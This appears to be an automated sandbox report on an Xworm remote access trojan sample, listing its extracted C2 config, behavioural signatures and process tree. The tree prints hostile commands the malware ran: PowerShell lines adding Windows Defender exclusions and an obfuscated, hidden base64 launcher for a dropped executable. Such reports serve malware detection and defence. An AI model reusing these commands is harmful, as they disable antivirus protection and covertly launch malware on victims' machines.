Analysis
- max time kernel
148s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 10:45
General
- Target 0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe
- Size 847KB
- Sample260910-mtk74sbj9x
- SHA256 0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e
Malware Config
Extracted
-
xworm
-
5.0
-
91.239.6.97:4449
-
LirmFSh9B8fsG8XB
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 49 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\0384e80d3e541b243f0bd66f0ca4e346a15574039c30e25060bf0c0a7f0e5e4e.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$kdtaev=[System.Environment]::TickCount;$1tfnss=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$kdtaev=[System.Environment]::TickCount;$oazwxh=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXERmYS5leGU=')));$mplq0o=Get-Date;& $1tfnss -FilePath $oazwxh"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Dfa.exe"C:\Users\Admin\AppData\Roaming\Dfa.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Dfa.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_dfadvghg.0lf.ps1
Dfa.exe
memory/3440-14-0x0000000075060000-0x000000007581C000-memory.dmp
memory/3440-16-0x0000000075060000-0x000000007581C000-memory.dmp
memory/3440-35-0x0000000075940000-0x000000007598C000-memory.dmp
memory/3440-46-0x0000000075060000-0x000000007581C000-memory.dmp
memory/3440-34-0x0000000006AD0000-0x0000000006B06000-memory.dmp
memory/3440-43-0x0000000007100000-0x0000000007196000-memory.dmp
memory/3440-42-0x0000000006F00000-0x0000000006F0A000-memory.dmp
memory/3440-41-0x0000000006E90000-0x0000000006EAA000-memory.dmp
memory/3440-40-0x00000000074D0000-0x0000000007B4C000-memory.dmp
memory/3440-27-0x0000000005B60000-0x0000000005BAC000-memory.dmp
memory/3440-13-0x0000000004640000-0x0000000004676000-memory.dmp
memory/3440-38-0x0000000006AA0000-0x0000000006AC0000-memory.dmp
memory/3440-15-0x0000000004D90000-0x00000000053DA000-memory.dmp
memory/3440-26-0x0000000005B10000-0x0000000005B2E000-memory.dmp
memory/3440-17-0x0000000075060000-0x000000007581C000-memory.dmp
memory/3440-20-0x00000000054C0000-0x0000000005526000-memory.dmp
memory/3440-24-0x0000000005720000-0x0000000005A7B000-memory.dmp
memory/3440-19-0x00000000053E0000-0x0000000005446000-memory.dmp
memory/3440-18-0x0000000004C50000-0x0000000004C72000-memory.dmp
memory/3440-39-0x0000000006B30000-0x0000000006BD3000-memory.dmp
memory/4148-51-0x00000000060B0000-0x000000000640B000-memory.dmp
memory/4148-54-0x0000000071320000-0x000000007136C000-memory.dmp
memory/4148-57-0x0000000007810000-0x00000000078B3000-memory.dmp
memory/4148-53-0x0000000006B30000-0x0000000006B7C000-memory.dmp
memory/4296-23-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4296-12-0x0000000000400000-0x000000000040E000-memory.dmp
memory/4296-31-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4296-47-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4532-11-0x0000000005770000-0x000000000581A000-memory.dmp
memory/4532-7-0x0000000005310000-0x0000000005334000-memory.dmp
memory/4532-25-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4532-0-0x0000000075072000-0x0000000075073000-memory.dmp
memory/4532-10-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4532-9-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4532-8-0x0000000075072000-0x0000000075073000-memory.dmp
memory/4532-1-0x0000000000670000-0x000000000074A000-memory.dmp
memory/4532-6-0x0000000075060000-0x000000007581C000-memory.dmp
memory/4532-5-0x0000000005340000-0x00000000053DC000-memory.dmp
memory/4532-4-0x0000000005110000-0x000000000511A000-memory.dmp
memory/4532-3-0x0000000005160000-0x00000000051F2000-memory.dmp
memory/4532-2-0x0000000005860000-0x0000000005E1A000-memory.dmp
memory/5328-30-0x00000235D6C50000-0x00000235D6C72000-memory.dmp